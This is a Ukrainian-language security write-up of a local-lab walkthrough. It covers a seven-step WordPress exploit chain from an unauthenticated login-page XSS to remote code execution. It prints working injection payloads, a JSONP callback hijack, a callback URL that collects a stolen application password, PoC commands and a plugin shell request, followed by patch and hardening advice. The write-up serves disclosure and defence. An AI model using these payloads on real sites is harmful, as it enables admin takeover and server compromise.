XSS2Shell: від нуля до оболонки на WordPress

Практичний покроковий опис ланцюжка XSS без автентифікації, який може ескалювати до віддаленого виконання коду в ядрі WordPress, продемонстрований на локальній лабораторії Docker.

Лише авторизоване тестування.

Усе наведене нижче виконувалося в локальній лабораторії (WordPress 7.0.2 на localhos). Не використовуйте ці техніки проти систем, якими ви не володієте або на тестування яких не маєте явного дозволу.

Короткий виклад для керівництва

XSS2Shell — це не одна вразливість, а семиетапний ланцюжок експлойтів, який починається з одного символу (< з наступним пробілом), що обходить два різні HTML-парсери на сторінці входу WordPress, і закінчується виконанням PHP на сервері від імені www-data.

Що робить це небезпечним:

  1. Перший етап не потребує жодної автентифікації — будь-хто може ініціювати виконання JavaScript на wp-login.php.
  2. Вразливість знаходиться в ядрі WordPress — не в плагіні; фактично кожна підтримувана інсталяція з 2016 року є вразливою.
  3. Використовується власний код WordPress — user-profile.js, REST JSONP, паролі застосунків, завантаження плагінів — як інструменти.
  4. Повноцінний RCE продемонстровано та підтверджено WordPress — хоча для цього потрібно змусити залогіненого адміністратора зробити один клік.

У цій статті розглядається кожен етап із знімками екрана з нашої локальної лабораторії.

Лабораторне середовище

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 на http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Кожен сайт WordPress відкриває /wp-login.php. Ця сторінка є точкою входу для всього ланцюжка.

Етап 0: Диференціал парсера (першопричина)

Коли вхід не вдається, WordPress виводить введене ім'я користувача у повідомленні про помилку. Ім'я користувача проходить через два санітайзери, які по-різному розуміють, що таке «тег»:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Корисне навантаження використовує пробіл після<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

На вразливому WordPress 7.0.2 це виживає після санітизації та стає живим DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

На виправленому WordPress 7.0.4 той самий payload екранується у повідомленні про помилку — жодних живих елементів.

Ця вразливість існує з WordPress 4.7 (2016 рік) і залишалась непоміченою протягом багатьох років аудитів безпеки.

Етап 1: XSS без автентифікації (вхід не потрібен)

Впроваджені вузли DOM відповідають селекторам, які власний user-profile.js WordPress шукає на сторінці входу (завантажується для процесу скидання пароля):

  1. .reset-pass-submit .wp-generate-pw автоматично натискається під час завантаження сторінки
  2. Клік передається до делегованого обробника #color-picker
  3. Перевірка захисту user_id === checkuser_id проходить, оскільки обидва значення — undefined
  4. jQuery виконує POST до ajaxurl — але ajaxurl не існує на сторінці входу…

Якщо тільки ми не підмінимо його:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Елемент <area id=ajaxurl> стає window.ajaxurl. jQuery викликає .toString() → повертає href. WordPress REST повертає JSONP → jQuery globalEval() → alert()виконується у контексті WordPress origin.

Stage 1 demo page
Stage 1 demo page

Надішліть форму (або відкрийте demo/stage1-preauth-xss.html і натисніть Run Stage 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Вплив лише цього етапу: фішинг облікових даних на справжньому домені, session riding, виклики API того самого origin — без жодної автентифікації.

Етап 2: Соціальна інженерія — клік адміністратора

Етапи 2–7 вимагають, щоб адміністратор, що увійшов до системи, відкрив сторінку під контролем зловмисника. Саме це знижує CVSS нижче 10 — однак це реалістично для цілеспрямованих атак.

Адміністратор може отримати: «Ваша сесія закінчилась — натисніть тут для повторної автентифікації.»

Simulated phishing lure page
Simulated phishing lure page

Після натискання сторінка зловмисника:

  1. Відкриває дочірнє спливаюче вікно (about:blank)
  2. Перенаправляє головне вікно на сторінку авторизації паролів додатків WordPress
  3. Записує XSS-форму в дочірнє спливаюче вікно та автоматично надсилає її до wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Етап 3: Виконання методу в тому самому джерелі (SOME) — автоматичне підтвердження

XSS-навантаження дочірнього вікна змінює зворотний виклик JSONP з alert на:

window.opener.approve.click

WordPress REST обгортає відповідь:

/**/window.opener.approve.click({...})

Рантайм отримує доступ до window.opener (батьківське вікно) → .approve (кнопка #approve) → .click(). Кнопка Approve для пароля додатку натискається автоматично — без жодної взаємодії користувача на цій сторінці.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Зверніть увагу на URL зворотного виклику на сторінці: облікові дані будуть надіслані на http://127.0.0.1:9090/callback?...&password=[------].

Етап 4: Перехоплення пароля додатка

WordPress створює новий пароль додатка та перенаправляє на success_url зловмисника з обліковими даними в рядку запиту:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Зловмисник тепер має облікові дані HTTP Basic auth для WordPress REST API — отримані з сесії адміністратора, без того щоб адміністратор щось вводив після початкового переходу за посиланням.

Етап 5: Публікація сторінки, підконтрольної зловмиснику

Використовуючи викрадений пароль додатка, зловмисник надсилає POST-запит до /wp-json/wp/v2/pages та публікує сторінку з вбудованим JavaScript. Адміністратори мають можливість unfiltered_html — теги скриптів зберігаються.

Етап 6: Завантаження плагіна через сесію адміністратора

JavaScript зловмисника (що виконується в браузері адміністратора на опублікованій сторінці):

  1. Отримує /wp-admin/plugin-install.php?tab=upload для отримання nonce завантаження
  2. Надсилає POST-запит із шкідливим ZIP-архівом до /wp-admin/update.php?action=upload-plugin
  3. WordPress розпаковує його до wp-content/plugins/xss2shell/

Плагін не потребує активації. PHP-файли в директорії плагіна доступні безпосередньо через вебсервер.

Етап 7: Виконання віддаленого коду

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Відповідь:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Тепер зловмисник виконує довільні команди від імені користувача веб-сервера — читає wp-config.php (облікові дані бази даних), вивантажує базу даних, здійснює латеральне переміщення.

Повний вивід терміналу PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Повний ланцюжок одним поглядом

sequenceDiagram participant A as Сервер зловмисника participant V as Браузер жертви participant W as WordPress 7.0.2 Note over V,W: Адмін увійшов до системи V->>A: Відкриває фішингове посилання (1 клік) A->>V: HTML зловмисника + дочірнє вікно V->>W: Головне вікно → authorize-application.php V->>W: Дочірнє вікно надсилає XSS-навантаження на wp-login.php W->>V: JSONP виконує window.opener.approve.click Note over V,W: Кнопка Approve натискається автоматично W->>A: Перенаправлення з паролем додатку A->>W: REST API публікує сторінку (Basic auth) V->>W: Адмін відвідує сторінку → завантажує ZIP плагіна V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Наскільки це насправді небезпечно?

Що гарантовано (висока впевненість)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Що вимагає додаткових умов (шлях до RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Калібрування рівня серйозності

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Підсумок: Це не така вразливість, як Log4Shell — черв'якоподібна RCE без кліків. Це глибоко технічна вразливість рівня ядра, що впливає на ~43% вебу, де:

  • Лише Етап 1 є серйозною pre-auth XSS на сторінці входу
  • Повний ланцюжок перетворює один клік адміністратора на компрометацію сервера
  • Першопричина (різниця між парсерами) стосується будь-якої кодової бази, що використовує кілька HTML-парсерів

Власне повідомлення WordPress зазначає, що RCE вимагає «умов поза контролем зловмисника» та «успішної соціальної інженерії.» Це точно — але продемонстрований ланцюжок робить ці умови досяжними за допомогою одного посилання.

Відтворення повного ланцюжка локально

# 1. Запустіть лабораторію make up # 2. Увімкніть паролі додатків по HTTP (лише для лабораторії) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Запустіть слухач PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. У браузері: # a. Увійдіть як адмін на http://localhost:9080/wp-login.php # b. Відкрийте http://127.0.0.1:9091/phishing-sim.html # c. Натисніть «Open attacker page» (дозвольте спливаючі вікна) # d. Зачекайте на виведення у терміналі результатів shell + whoami

Захист

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Виправлення додає esc_html() до імені користувача в шляху помилки входу — забезпечуючи обробку рядка як тексту, а не повторний розбір як HTML.

Чому це важливо для досліджень у сфері безпеки

Кожна ланка ланцюжка сама по собі нецікава:

  • Диференціал парсера → незначне технічне обслуговування низького рівня серйозності
  • Неправильний скрипт завантажується на сторінці входу → низький
  • Зворотний виклик JSONP перевіряється регулярним виразом → середній
  • Пароль застосунку в URL перенаправлення → середній
  • Каталог плагінів виконує PHP без активації → відома особливість дизайну

У сукупності вони дають CVSS 8.9 та отримання оболонки.

Урок: оцінюючи знахідки XSS, запитайте себе «що вже завантажено на цій сторінці і що це зробить, якщо передати йому потрібні DOM-вузли?» Серйозність — це властивість ланцюжка, а не окремої вразливості.

Посилання

Запитайте ШІ про CyberTested

Нехай ChatGPT, Gemini, Grok або Perplexity поділяться своїми знаннями. Натисніть кнопку і дізнайтеся, що ваш улюблений ШІ скаже про CyberTested.

Виберіть регіон та мову

Регіон
Мова
Хочете побачити, як працює CyberTested?
Замовити безкоштовну демонстрацію